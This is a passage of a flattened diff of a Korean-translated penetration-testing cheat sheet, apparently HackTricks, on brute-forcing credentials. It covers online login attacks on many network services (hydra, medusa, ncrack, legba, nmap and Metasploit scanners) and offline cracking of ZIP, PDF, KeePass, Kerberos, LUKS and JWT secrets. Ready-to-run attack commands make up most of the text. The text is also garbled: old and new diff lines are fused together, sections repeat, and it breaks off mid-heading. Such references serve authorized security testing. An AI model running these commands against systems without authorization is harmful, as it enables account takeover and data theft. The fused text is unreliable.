## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
```bash ```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
``` ```
@ -141,8 +138,6 @@ nmap --script cassandra-brute -p 9160 <IP>
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
``` ```
### CouchDB ### CouchDB
CouchDB는 NoSQL 데이터베이스로, 일반적으로 사용자 이름과 비밀번호를 요구하는 HTTP Basic 인증을 사용합니다. 브루트 포스 공격을 수행하여 인증 자격 증명을 얻을 수 있습니다.
```bash ```bash
msf> use auxiliary/scanner/couchdb/couchdb_login msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
@ -156,15 +151,13 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
``` ```
### FTP ### FTP
FTP(File Transfer Protocol)은 인터넷을 통해 파일을 전송하기 위한 표준 네트워크 프로토콜입니다. FTP 서버에 무차별 대입 공격을 시도하여 사용자 자격 증명을 얻을 수 있습니다.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5] ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
``` ```
### HTTP 일반 무차별 대입 ### HTTP 일반 브루트
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
@ -180,21 +173,19 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
``` ```
### HTTP - 포스트 폼 ### HTTP - Post Form
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https # Use https-post-form mode for https
``` ```
### **HTTP - CMS --** (W)ordpress, (J)oomla 또는 (D)rupal 또는 (M)oodle For http**s** you have to change from "http-post-form" to "**https-post-form"**
http**s**의 경우 "http-post-form"에서 "**https-post-form"**로 변경해야 합니다 ### **HTTP - CMS --** (W)ordpress, (J)oomla 또는 (D)rupal 또는 (M)oodle
```bash ```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP # Check also https://github.com/evilsocket/legba/wiki/HTTP
``` ```
### IMAP ### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP permits a user to access their email from different devices, as the messages are stored on the server. This protocol is commonly used for receiving emails.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -202,13 +193,9 @@ nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993 legba imap --username user --password data/passwords.txt --target localhost:993
``` ```
### IRC ### IRC
IRC는 Internet Relay Chat의 약자로, 실시간으로 사용자들이 채팅할 수 있는 프로토콜입니다. 일반적으로는 6667번 포트를 사용하며, 채팅방에서 다양한 주제로 대화할 수 있습니다.
```bash ```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP> nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
``` ```
### ISCSI
### ISCSI ### ISCSI
```bash ```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP> nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
@ -237,33 +224,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
``` ```
### LDAP ### LDAP
LDAP은 Lightweight Directory Access Protocol의 약자로, 네트워크 프로토콜 중 하나이다. LDAP 서버에 대한 무차별 대입 공격은 일반적인 인증 시나리오에서 사용자 자격 증명을 찾는 데 사용된다.
```bash ```bash
nmap --script ldap-brute -p 389 <IP> nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
``` ```
### MQTT ### MQTT
MQTT(Message Queuing Telemetry Transport)는 경량 프로토콜로, 브로커와 클라이언트 간의 메시지 전달을 위한 프로토콜입니다. MQTT는 TCP/IP 프로토콜 위에서 동작하며, 주로 IoT(Internet of Things) 장치 간 통신에 사용됩니다.
``` ```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
``` ```
### 몽고DB ### 몽고
```bash ```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP> nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt legba mongodb --target localhost:27017 --username root --password data/passwords.txt
``` ```
### MSSQL ### MSSQL
MSSQL은 Microsoft SQL Server의 약자로, Windows 환경에서 가장 널리 사용되는 관계형 데이터베이스 관리 시스템(RDBMS)입니다.
```bash ```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
``` ```
### MySQL
### MySQL ### MySQL
```bash ```bash
# hydra # hydra
@ -278,7 +257,7 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
#Legba #Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
``` ```
### OracleSQL ### 오라클SQL
```bash ```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -302,17 +281,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
``` ```
**oracle_login**을 **patator**와 함께 사용하려면 다음을 **설치**해야 합니다: **oracle\_login**을 **patator**와 함께 사용하려면 **설치**해야 합니다:
```bash ```bash
pip3 install cx_Oracle --upgrade pip3 install cx_Oracle --upgrade
``` ```
[오프라인 OracleSQL 해시 무차별 공격](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**버전 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 그리고 **11.2.0.3**): [오프라인 OracleSQL 해시 브루트포스](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**버전 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** **11.2.0.3**):
```bash ```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
``` ```
### POP ### POP
POP는 "Post Office Protocol"의 약자로, 이메일 클라이언트가 이메일 서버에서 이메일을 가져오는 데 사용되는 프로토콜입니다. POP는 일반적으로 TCP 포트 110을 사용하며, 이메일을 가져올 때 사용자의 자격 증명을 인증하기 위해 사용자 이름과 암호를 요구합니다. POP는 보안 기능이 부족하므로, 데이터를 전송하는 동안 암호화를 사용하는 것이 좋습니다.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -335,7 +312,7 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
``` ```
### PPTP ### PPTP
[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 설치할 `.deb` 패키지를 다운로드할 수 있습니다. `.deb` 패키지를 설치하려면 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드할 수 있습니다.
```bash ```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP> cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
@ -354,20 +331,14 @@ hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
``` ```
### Rexec ### Rexec
Rexec는 원격 실행 서비스에 대한 브루트 포스 공격을 수행하는 데 사용됩니다. 이 서비스는 일반적으로 TCP 포트 512에서 실행되며, 사용자는 명령을 원격 시스템에서 실행할 수 있습니다. Rexec 브루트 포스는 사용자 이름과 비밀번호를 추측하여 시스템에 액세스하려고 시도합니다.
```bash ```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
``` ```
### Rlogin ### Rlogin
Rlogin은 원격 로그인 프로토콜로, 브루트 포스 공격에 취약할 수 있습니다.
```bash ```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
``` ```
### Rsh ### Rsh
Rsh (Remote Shell) is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. Rsh is often targeted during brute-force attacks due to its lack of encryption and authentication mechanisms.
```bash ```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V hydra -L <Username_list> rsh://<Victim_IP> -v -V
``` ```
@ -377,8 +348,6 @@ hydra -L <Username_list> rsh://<Victim_IP> -v -V
```bash ```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP> nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
``` ```
### RTSP
### RTSP ### RTSP
```bash ```bash
hydra -l root -P passwords.txt <IP> rtsp hydra -l root -P passwords.txt <IP> rtsp
@ -390,16 +359,12 @@ legba sftp --username admin --password wordlists/passwords.txt --target localhos
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
``` ```
### SNMP ### SNMP
SNMP(Simple Network Management Protocol)은 네트워크 장비 및 서버에서 정보를 수집하기 위해 사용되는 프로토콜입니다. SNMP 커뮤니티스트링을 브루트 포스하여 SNMP 장비에 액세스할 수 있습니다.
```bash ```bash
msf> use auxiliary/scanner/snmp/snmp_login msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ] nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP> onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
``` ```
### SMB
### SMB ### SMB
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
@ -407,16 +372,12 @@ hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>] legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
``` ```
### SMTP ### SMTP
SMTP(Simple Mail Transfer Protocol)은 전자 메일을 전송하기 위한 표준 프로토콜이다. 호스트 간 메일 전송을 위해 사용되며, 주로 포트 25를 통해 통신한다. Brute force 공격은 SMTP 서버에 대해 일반적으로 사용되는 공격 기술 중 하나이다.
```bash ```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>] legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
``` ```
### SOCKS ### SOCKS
SOCKS는 네트워크 프로토콜로, 일반적으로 프록시 서버를 통해 트래픽을 라우팅하는 데 사용됩니다. SOCKS 프록시를 통해 브루트 포스 공격을 수행할 때, 공격자는 대상 시스템에 대한 인증을 시도하기 위해 다양한 자격 증명을 시도할 수 있습니다.
```bash ```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP> nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@ -433,8 +394,6 @@ nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=cust
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
``` ```
### SSH ### SSH
SSH는 Secure Shell의 약자로, 네트워크 프로토콜 중 하나이며, 안전한 방식으로 원격 시스템에 접속하기 위해 사용됩니다. SSH 브루트 포스는 사전에 정의된 암호 목록을 사용하여 SSH 서버에 대한 인증을 시도하는 공격 기술입니다. 이를 통해 공격자는 암호를 추측하여 시스템에 불법적으로 액세스하려고 시도할 수 있습니다.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5] ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -444,13 +403,13 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
# Try keys from a folder # Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
``` ```
#### 약한 SSH 키 / Debian 예측 가능 PRNG #### 약한 SSH 키 / Debian 예측 가능 PRNG
일부 시스템은 암호화 자료를 생성하는 데 사용된 난수 시드에 알려진 결함이 있습니다. 이는 [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)와 같은 도구를 사용하여 무차별 대입할 수 있는 키 공간이 크게 축소될 수 있습니다. 약한 키의 미리 생성된 세트도 [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)와 같이 사용할 수 있습니다. 일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들 수 있으며, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)와 같은 도구로 브루트포스 공격이 가능합니다. [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)와 같은 약한 키의 미리 생성된 세트도 사용할 수 있습니다.
### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ) ### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)
STOMP 텍스트 프로토콜은 RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기있는 메시지 큐 서비스와의 원활한 통신과 상호 작용을 **허용하는** 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화 효율적인 접근 방식을 제공합니다. STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와의 원활한 통신 및 상호 작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
```bash ```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt legba stomp --target localhost:61613 --username admin --password data/passwords.txt
``` ```
@ -470,8 +429,6 @@ legba telnet \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
``` ```
### VNC ### VNC
VNC은 Virtual Network Computing의 약자로, 원격 시스템에 액세스하기 위한 그래픽 데스크톱 공유 시스템이다. VNC 브루트 포스는 VNC 서버에 대한 사용자 자격 증명을 얻기 위해 가능한 모든 비밀번호를 시도하는 공격 기술이다.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -493,18 +450,18 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## 로컬 ## 로컬
### 온라인 해싱 데이터베이스 ### 온라인 크래킹 데이터베이스
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 SHA1) * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP와 함께/없이 어떤 도전 값이든) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP 유무 및 모든 챌린지 값 포함)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (해시, WPA2 캡처 및 아카이브 MSOffice, ZIP, PDF...) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (해시, WPA2 캡처 및 MSOffice, ZIP, PDF 아카이브...)
* [https://crackstation.net/](https://crackstation.net) (해시) * [https://crackstation.net/](https://crackstation.net) (해시)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (해시 및 파일 해시) * [https://gpuhash.me/](https://gpuhash.me) (해시 및 파일 해시)
@ -514,7 +471,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
해시를 무차별 대입하기 전에 이 내용을 확인하세요. 해시를 브루트 포스하기 전에 이 내용을 확인하세요.
### ZIP ### ZIP
```bash ```bash
@ -532,10 +489,10 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
``` ```
#### 알려진 평문 zip 공격 #### Known plaintext zip attack
암호화된 zip 파일 내부에 포함된 파일의 **평문** (또는 일부 평문)을 알아야 합니다. 암호화된 zip 파일 내부에 포함된 파일의 **파일 이름 및 파일 크기를 확인**하려면 다음을 실행할 수 있습니다: **`7z l encrypted.zip`**\ 암호화된 zip 안에 포함된 **파일의 **평문** (또는 평문의 일부)**을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
릴리스 페이지에서 [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 다운로드하세요. [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 릴리스 페이지에서 다운로드하세요.
```bash ```bash
# You need to create a zip file containing only the file that is inside the encrypted zip # You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file zip plaintext.zip plaintext.file
@ -547,8 +504,6 @@ zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd ./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password unzip unlocked.zip #User new_pwd as password
``` ```
### 7z
### 7z ### 7z
```bash ```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
@ -561,8 +516,6 @@ apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john ./7z2john.pl file.7z > 7zhash.john
``` ```
### PDF ### PDF
PDF 파일 형식은 전자 문서를 표시하기 위한 표준 형식입니다. PDF 파일은 다양한 용도로 사용되며 텍스트, 이미지, 폼 등을 포함할 수 있습니다. PDF 파일은 보안 기능을 제공하여 내용을 보호할 수 있습니다.
```bash ```bash
apt-get install pdfcrack apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -571,9 +524,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
sudo apt-get install qpdf sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
``` ```
### PDF 소유자 ### PDF 소유자 비밀번
PDF 소유자 암호를 해독하려면 다음을 확인하십시오: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) PDF 소유자 비밀번호를 해제하려면 다음을 확인하세요: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT ### JWT
```bash ```bash
@ -601,15 +554,13 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash john --wordlist=/usr/share/wordlists/rockyou.txt hash
``` ```
### Keberoasting ### 케베로스팅
Keberoasting은 액티브 디렉터리 서비스 계정의 암호화되지 않은 서비스 티켓을 추출하는 기술입니다. Keberoasting은 액티브 디렉터리 서비스 계정의 암호화되지 않은 서비스 티켓을 추출하는 기술입니다.
```bash ```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
``` ```
### Lucks 이미지 ### Luks 이미지
#### 방법 1 #### 방법 1
@ -629,7 +580,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
다른 Luks BF 튜토리얼: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) 다른 Luks BF 튜토리얼: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql ### Mysql
```bash ```bash
@ -646,16 +597,16 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
<figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure>
### DPAPI Master Key ### DPAPI 마스터 키
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)을 사용한 다음 john을 사용합니다. [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행합니다.
### Open Office Pwd Protected Column ### Open Office 비밀번호 보호 열
